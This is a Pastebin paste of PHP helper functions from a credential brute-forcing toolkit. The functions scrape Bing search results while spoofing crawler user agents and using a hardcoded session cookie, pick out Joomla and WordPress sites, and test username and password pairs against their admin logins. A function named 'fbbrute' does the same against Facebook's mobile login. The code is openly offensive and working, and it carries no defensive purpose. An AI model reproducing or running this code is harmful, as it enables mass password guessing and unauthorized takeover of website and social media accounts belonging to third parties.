Advertisement
UZUNDZ

Functions

Jun 14th, 2015
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.21 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. *   by UzunDz & n4ss1m.
  5. */
  6.  
  7. function source($site, $agent , $cookie=0){
  8.  
  9.     if(!$agent){
  10.         $agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
  11.     }
  12.     $curl=curl_init();
  13.     curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
  14.     curl_setopt ($curl, CURLOPT_URL, $site);
  15.     if($cookie=1){
  16.     curl_setopt ($curl, CURLOPT_COOKIE, "SRCHD=SM=1&D=3450822&MS=3450822&AF=NOFORM; SRCHUID=V=2&GUID=A4AF59E326E94F90A2D72D9E3BDD6BFB; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20140724; SRCHHPGUSR=CW=1349&CH=634&NEWWND=0&NRSLT=50&SRCHLANG=; _U=1Q4LfZxrNPnayJULjaTLuHR0j4JIaP9-pm4aDVNG6iK5noHEfNMbzAGC_FE7Ago-zqBvDBYuhSvm29GlgesroDRmIF3FIuImOpDg_CwZeJwxA0Y2S59bGt-yPYmHP2vY5; s_vnum=1409598331287%26vn%3D1; s_nr=1407006801318;");
  17.     }
  18.     curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0);
  19.     curl_setopt ($curl, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  20.     curl_setopt ($curl, CURLOPT_COOKIEJAR,  getcwd().'/cookie.txt');
  21.     curl_setopt ($curl, CURLOPT_USERAGENT, $agent);
  22.     curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
  23.     curl_setopt ($curl, CURLOPT_TIMEOUT, 20);
  24.     $exec=curl_exec($curl);
  25.     curl_close($curl);
  26.     return $exec;
  27. }
  28.  
  29. function mbing($what){
  30.     for($i = 1; $i <= 2000; $i += 10){
  31.         $data = source("http://www.bing.com/search?q=".urlencode($what)."&first=$i", 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16',1);
  32.         preg_match_all('#<h2 class="sb_h3 cttl"><a href="(https?://.*?)" _ctf="rdr_T"#',$data, $links);
  33.         foreach($links[1] as $link){
  34.             $allLinks[] = $link;
  35.         }
  36.         if(!preg_match('#class="sb_pagN"#',$data)) break;
  37.     }
  38.    
  39.     if(!empty($allLinks) && is_array($allLinks)){
  40.         return array_unique($allLinks);
  41.     }
  42. }
  43.  
  44. function bing($what){
  45.  
  46.     for($i = 1; $i <= 2000; $i += 10){
  47.     $source = source("http://www.bing.com/search?q=".urlencode($what)."&first=$i" , 'msnbot/1.0 (+http://search.msn.com/msnbot.htm)',1);
  48.     preg_match_all('#;a=(.*?)" h="#',$source, $links);
  49.     foreach($links[1] as $link){
  50.         $allLinks[] = $link;
  51.     }
  52.     if(!preg_match('#"sw_next"#',$source)) break;
  53.     }
  54.     if(!empty($allLinks) && is_array($allLinks)){
  55.         return array_unique(array_map("urldecode", $allLinks));
  56.     }
  57. }
  58.  
  59. function JO($site, $user, $pass){
  60.  
  61.     $token = extract_token($site);
  62.     $curl=curl_init();
  63.     curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
  64.     curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER,  0);
  65.     curl_setopt ($curl, CURLOPT_URL, $site."/administrator/index.php");
  66.     curl_setopt ($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
  67.     curl_setopt ($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
  68.     curl_setopt ($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  69.     curl_setopt ($curl, CURLOPT_FOLLOWLOCATION, 1);
  70.     curl_setopt ($curl, CURLOPT_POST, 1);
  71.     curl_setopt ($curl, CURLOPT_POSTFIELDS, 'username='.$user.'&passwd='.$pass.'&lang=&option=com_login&task=login&'.$token.'=1');
  72.     curl_setopt ($curl, CURLOPT_TIMEOUT, 20);
  73.     $source = curl_exec($curl);
  74.     return (eregi('com_config', $source)) ? true:false;
  75.  
  76. }
  77.  
  78. function WP($url, $user, $pass){
  79.  
  80.     $curl = curl_init();
  81.     $to = clnurl($url)."/wp-admin/";
  82.     curl_setopt ($curl, CURLOPT_URL,  $url."/wp-login.php");
  83.     curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER,  0);
  84.     curl_setopt ($curl, CURLOPT_USERAGENT,  "Googlebot/2.1 (+http://www.google.com/bot.html)");
  85.     curl_setopt ($curl, CURLOPT_COOKIE,  "wordpress_test_cookie=WP+Cookie+check");
  86.     curl_setopt ($curl, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  87.     curl_setopt ($curl, CURLOPT_COOKIEJAR,  getcwd().'/cookie.txt');
  88.     curl_setopt ($curl, CURLOPT_POST,  1);
  89.     curl_setopt ($curl, CURLOPT_POSTFIELDS,  "log=".$user."&pwd=".cln($pass)."&wp-submit=Log+In&redirect_to=".$to."&testcookie=1");
  90.     curl_setopt ($curl, CURLOPT_RETURNTRANSFER,  1);
  91.     curl_setopt ($curl, CURLOPT_FOLLOWLOCATION,  1);
  92.     $source = curl_exec($curl);
  93.     //print_r($source);
  94.     return (preg_match('/logout/', $source)) ? true:false;
  95. }
  96.  
  97. function fbbrute($user,$pass){
  98.     $ch = curl_init();      
  99.     curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
  100.     curl_setopt($ch, CURLOPT_HEADER, 0);
  101.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  102.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  103.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  104.     curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
  105.     curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
  106.     $login = curl_exec($ch);
  107.     return (eregi('class="s t i u"',$login)) ? true:false;
  108. }
  109.  
  110. function jos_site($site){
  111.     return (preg_match("/option/",$site)) ? preg_replace("#(.*?)/index(.*)|(.*?)/?option(.*)#","$1/",$site):false;
  112. }
  113.    
  114. function wp_site($site){
  115.     return (eregi("wp-content",$site) or eregi("page_id=",$site)) ? str_replace("?","",preg_replace("#(.*?)/(\?page_id=|wp-content)(.*)#","$1/",$site)):false;
  116. }
  117.  
  118. function site($link){
  119.     return str_replace("www.","",parse_url($link, PHP_URL_HOST));
  120. }
  121.  
  122. function extract_token($site){
  123.     $source = source("$site/administrator/index.php");
  124.     if($source){
  125.         if(preg_match('#type="hidden" name="([0-9a-f]{32})" value="1"#si' , $source, $token)){
  126.             return $token[1];
  127.         }else {
  128.             echo "$site : Not supported Joomla<br />";
  129.         }
  130.     }else{
  131.         echo "$site : Not Joomla<br />";
  132.     }
  133.  
  134. }  
  135.  
  136. function refrech($url,$num=1){
  137.     echo '<meta http-equiv="Refresh" content="'.$num.'; url='.$url.'">';
  138. }
  139.  
  140. function error(){
  141.     echo "<div class='error center' style='margin:99px 0px !important;'>This Page not found</div>";
  142. }
  143.  
  144. function cln($value){  
  145.         return str_replace(array("\n", "\r"), "", $value);
  146. }
  147.  
  148. function cln_arr($array){
  149.     return @array_filter(@array_unique($array));
  150. }
  151.  
  152. function clnurl($url){
  153.     return preg_replace("'(https?://.*)/'", "$1", $url);
  154. }
  155.  
  156. function undir($dir=array()){
  157.     return array_diff($dir,array('..', '.'));
  158.  
  159. }
  160.  
  161. function vbflush(){
  162.     static $gzip_handler = null;
  163.     if ($gzip_handler === null){
  164.         $gzip_handler = false;
  165.         $output_handlers = ob_list_handlers();
  166.         if (is_array($output_handlers)){
  167.             foreach ($output_handlers AS $handler){
  168.                 if ($handler == 'ob_gzhandler'){
  169.                     $gzip_handler = true;
  170.                     break;
  171.                 }
  172.             }
  173.         }
  174.     }
  175.  
  176.     if ($gzip_handler){
  177.         // forcing a flush with this is very bad
  178.         return;
  179.     }
  180.  
  181.     if (ob_get_length() !== false){
  182.         @ob_flush();
  183.     }
  184.     flush();
  185. }
  186.  
  187.  
  188.  
  189. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement